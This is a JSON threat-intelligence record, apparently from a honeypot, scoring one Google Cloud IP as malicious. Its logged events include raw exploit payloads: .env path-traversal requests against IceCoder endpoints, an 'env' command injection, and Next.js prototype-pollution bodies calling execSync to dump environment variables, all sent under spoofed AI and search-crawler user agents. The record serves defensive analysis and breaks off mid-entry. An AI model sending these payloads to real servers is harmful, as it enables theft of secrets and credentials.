{"ip":"34.39.238.231","observed":true,"total_events":383,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"79 exploit-path hits","confidence":"high","network_type":null,"why":["79 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,279,531 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,279,531 bytes sent","bytes_sent":2279531,"session_seconds":16,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-17T10:23:21","last_seen":"2026-10-17T10:23:39","events_24h":0,"events_7d":383,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"BR","country_name":"Brazil","region":"São Paulo","city":"São Paulo","lat":-23.5475,"lon":-46.6361,"asn":396982,"org":"Google LLC"},"source_domain":"231.238.39.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/icons/.%2e/.%2e","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","kev_date_added":"2025-10-09"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","kev_date_added":null},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","kev_date_added":null}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":383}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b703032d7dabc5d51a6e035c7573ef5b987ab4602963bca253a75e9c0ddef2fc3da8fa20f00488ca512671a4bd7b92dcc581b0dc04efb7643a17cf8ce86a48cdc4e8dc4e00200a0a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064e4a4a0000ff01000100000b00020100002d00020101001200000017000000230000000d0012001004030804040105030805050108060601003304ef04ed2a2a00010011ec04c0858928f3fc66b1106836d054c19358e5437265587ae6d45115a35171c42d50403513585abb9082ec1169b473bbafd96165c3480e5986f0902634a93f8a379666f4b719834e5e865b6f161285892a81c0031f11b7fd94a8d62893b7ecb8dfba156771a816b04234c282562225df8469fe6211c464cfa2ab9188b10194ba363f0bca48e67f9adcb7a178c6c74a3364d05cdc209f26643570d57109730842499c5af5128819ad36c17fa6459b2df9bb329752ba74834a105d8c0662b1bc381ab456a988628299148420230ee40ca54070d4141971297ecee8016ab4b408343efaf20f83bb802b26c5334ac3e6d3c7af84913eb2b4e9996172a2705b3167be97265737680a90944d028e37c93f35d1b580e1c128b573b9b78ff3761122fa92f8e4591f7c2f8a5a9cfa103582903c8985ced796c5023c9ccab915bfd47f6da9917c88bcef081c60d187fb0bb8b450af655008477b3d3c22ae4585624581c82e976ef1066c003310732344025333c0f0a08f503fbebb5f8bbb1b7b2bae63e39bdbd20fef579b1cb30631ecc174cc06f53ba70b6411439a91da76b3a4a90584dc1792d9c23ac23c9feb36db88c0073a3d1ba1c25f3c241c9a37c2950f89a4a68dc140528b7233a8a1d033cc67a450ec18b2e241247cda6593503208f51f67e68ed722bb55261555cbc54294869531bf126520733678bd458460814e00698db1589ac1d546e30c959b47c40a6872b5c90ed739b72f2191c8d50d8f839121b86b97984823948568b5927e69b663b3adab3b02166c8d9405aca71a7bcbca781b811720a8b37af1c59de77bac01b9b3a677dc99af5d0bb40b41b6ed57626990c3e682aa20593d93318d0f795aafa9375a6657baa3236644c481345e9583acb71277af76c1bf3c720590bf22d46acffabc69b6c6f7fc358222c12a65252b0bba77f85eea072b8c2b13f7025be8e165e6266f87e121b5ba7551c063cdea738294472525b73a751c5da78232c471b588194b2588cb22947a2bb9fec648f1114ef025464183678b580f5a95ce3e2051a6f24ae3e616f14446f6573e380cade1c71923230e13619ca52074752c3d5a2a73c1f286b78c3f26c1ba787b4353cc9191c8112d44adb937616b85a991dc066e885c069612cfa75cb34959a89665a173626c759495c0aa46638348ca5538d56e71b5404b76a0ba164366800b66c1099839bbcfb2671fb4b8b0e371be03902893b0c3387e2a3a266e771af7abbf9201342c57b3edd8ac55149724ba9492113323550b829557fd942d318a3e82f848c8f85e53ec844f1bc9e9c94c5392c216b560b5492362d3a2f331a625c640e5b95cbad80912cb7890924e289690fb8b889017cd8b517bf28c3767802df60bb0eda36888f55f4944970fcb7f5c8094161c47abe45192fa44d5b6714f5280a26b5a644ac9304682927337bdbb7bfc77349c468f12a87fd17b2ad6e4b665e5a9aa43757a0702c8d03c9d200ac3a877abc268294b441edbc85628b50e4a42838b9bd797340b2a6b06b25aed90b817e66ecc9a0ddc66afd7d6027281065fd2893c4c4101764665d492e59cc2da736b98067011e11ff8288257ab2361515008bb2197745885834e85d0cb66b1c1e1f0b3ba1320d0077a37d94386453e441db07fc817c58cbc291e3d060ab5ec6acf898d4d473c259b692081e6ef7300ea350578ed0df81f1a104d891068d7e408001d0020e8a4defbd98db69c0962f7c01e1ad286215910ccc31c0a040122a8d6d1ac76710010000e000c02683208687474702f312e31001b000302000244cd00050003026832fe0d00ba0000010001110020c5bb33be2854bc00e79cdfc161f387e191bf1a408cc64a719f46759fce198d43009095099b1f83fb392bf2e1105496a2a217b2ffc52919f53458c3e93b26eb3799fec340bfee166f945f9727d7b6894679d75ff3132a8717fd739b9d9ffe695fa31d2ebf258eaadb5f8223b2ba4c1340f2e1ffc8029bd8b03906de123bf921ecbac7b359312e76243f4baa98ac7fdbcd0d9558cc9c1aa09ab1422569bf0cc9ea35fc72f5f1e6fd7939a15fba904e153124ab002b0007068a8a0304030300000017001500001273697465732e7072696e636875622e636f6d000500050100000000000a000c000a2a2a11ec001d001700182a2a0001","tls_ja3":["cdc44ca906bb34db5a649d54376b56bb","07fc3beab28ea6a2e9747645ce8bcde1","e224c497bb2792b5333d14f288b20316","5de50cfee7b6a486283be35c5cb9abf9","93fb46bd3c50284ff119e7a7b70c81ab"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":72,"b11cun062_00040016_84d4cebf_xce00d0f1":65,"b11cun162_000c73fe_fe528c8e_xce00d0f1":65,"b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3":38,"b11cuq082_00050816_8184102b_xd0f1e7f3":61,"b11cuq150_10057dde_0ef1dcbb":65},"akin_families":{"b11cuq104_00050816_8fb55415_x038e0ee6d0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":149},"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":149}},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","CCBot/2.0 (https://commoncrawl.org/faq/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot"],"timeline":[{"date":"2026-10-17","count":383}],"recent_events":[{"timestamp":"2026-10-17T10:23:39","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"56\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\"}","body":"action=load&file=../../../../.env&password=bypass&csrf=x","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/file-control.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f66696c652d636f6e74726f6c2e70687020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a2035360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a616374696f6e3d6c6f61642666696c653d2e2e2f2e2e2f2e2e2f2e2e2f2e656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":43,"duration_ms":15684,"bytes_in":24188,"bytes_out":3354},{"timestamp":"2026-10-17T10:23:38","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"56\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"action=load&file=../../../../.env&password=bypass&csrf=x","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/file-control.php","summary":"","payload_hex":"504f5354202f6c69622f66696c652d636f6e74726f6c2e70687020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d576562496e64657865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a2035360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a616374696f6e3d6c6f61642666696c653d2e2e2f2e2e2f2e2e2f2e2e2f2e656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":42,"duration_ms":15152,"bytes_in":23894,"bytes_out":3276},{"timestamp":"2026-10-17T10:23:38","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"command=env&password=bypass&csrf=x","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/icecoder/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f696365636f6465722f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":41,"duration_ms":14841,"bytes_in":23556,"bytes_out":3198},{"timestamp":"2026-10-17T10:23:37","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"command=env&password=bypass&csrf=x","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/lib/terminal-xhr.php","summary":"","payload_hex":"504f5354202f6c69622f7465726d696e616c2d7868722e70687020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f6d6d616e643d656e762670617373776f72643d62797061737326637372663d78","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":40,"duration_ms":14419,"bytes_in":23239,"bytes_out":3120},{"timestamp":"2026-10-17T10:23:37","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"227\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:{\"__proto__\":{\"__proto__\":{\"type\":\"require\",\"id\":\"child_process\"}}}\n1:{\"$$typeof\":\"$Lazy\",\"_payload\":{\"_status\":0,\"_result\":\"child_process\"},\"_init\":\"execSync\",\"args\":[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a436f6e74656e742d4c656e6774683a203232370d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a7b225f5f70726f746f5f5f223a7b225f5f70726f746f5f5f223a7b2274797065223a2272657175697265222c226964223a226368696c645f70726f63657373227d7d7d0a313a7b222424747970656f66223a22244c617a79222c225f7061796c6f6164223a7b225f737461747573223a302c225f726573756c74223a226368696c645f70726f63657373227d2c225f696e6974223a226578656353796e63222c2261726773223a5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":39,"duration_ms":14104,"bytes_in":22946,"bytes_out":3042},{"timestamp":"2026-10-17T10:23:37","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"94\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:[\"$SR\",\"child_process\",\"execSync\",[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]]","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b204f41492d536561726368426f742f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a436f6e74656e742d4c656e6774683a2039340d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a5b22245352222c226368696c645f70726f63657373222c226578656353796e63222c5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d5d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":38,"duration_ms":13769,"bytes_in":22198,"bytes_out":2964},{"timestamp":"2026-10-17T10:23:36","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"227\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:{\"__proto__\":{\"__proto__\":{\"type\":\"require\",\"id\":\"child_process\"}}}\n1:{\"$$typeof\":\"$Lazy\",\"_payload\":{\"_status\":0,\"_result\":\"child_process\"},\"_init\":\"execSync\",\"args\":[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284c696e75783b20416e64726f696420362e302e313b204e65787573203558204275696c642f4d4d4232395029204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30204d6f62696c65205361666172692f3533372e33362028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a436f6e74656e742d4c656e6774683a203232370d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a7b225f5f70726f746f5f5f223a7b225f5f70726f746f5f5f223a7b2274797065223a2272657175697265222c226964223a226368696c645f70726f63657373227d7d7d0a313a7b222424747970656f66223a22244c617a79222c225f7061796c6f6164223a7b225f737461747573223a302c225f726573756c74223a226368696c645f70726f63657373227d2c225f696e6974223a226578656353796e63222c2261726773223a5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d7d","method":"POST","user_agent":"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":37,"duration_ms":13344,"bytes_in":21584,"bytes_out":2886},{"timestamp":"2026-10-17T10:23:36","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"94\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:[\"$SR\",\"child_process\",\"execSync\",[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]]","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a2039340d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a5b22245352222c226368696c645f70726f63657373222c226578656353796e63222c5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d5d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"6cf84dfcf69590c89560cfcfe946cdbe","session":"f8ff210e-f7d6-442c-a1ef-4c3274635f95","seq":36,"duration_ms":13019,"bytes_in":20753,"bytes_out":2808},{"timestamp":"2026-10-17T10:23:36","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"227\",\"content-type\":\"text/x-component\",\"host\":\"sites.princhub.com\",\"next-action\":\"cachefn\",\"next-router-state-tree\":\"[\\\"\\\",{\\\"children\\\":[\\\"__PAGE__\\\",{}]}]\",\"rsc\":\"1\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\",\"x-middleware-subrequest\":\"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:middleware:middleware:middleware\"}","body":"0:{\"__proto__\":{\"__proto__\":{\"type\":\"require\",\"id\":\"child_process\"}}}\n1:{\"$$typeof\":\"$Lazy\",\"_payload\":{\"_status\":0,\"_result\":\"child_process\"},\"_init\":\"execSync\",\"args\":[\"env 2>/dev/null || cat /proc/self/environ 2>/dev/null\"]}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a203232370d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a206361636865666e0d0a4e6578742d526f757465722d53746174652d547265653a205b22222c7b226368696c6472656e223a5b225f5f504147455f5f222c7b7d5d7d5d0d0a5273633a20310d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a303a7b225f5f70726f746f5f5f223a7b225f5f70726f746f5f5f223a7b2274797065223a2272657175697265222c226964223a226368696c645f70726f63657373227d7d7d0a313a7b222424747970656f66223a22244c617a79222c225f7061796c6f6164223a7b225f737461747573223a302c225f726573756c74223a226368696c645f70726f63657373227d2c225f696e6974223a226578656353796e63222c2261726773223a5b22656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c225d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; 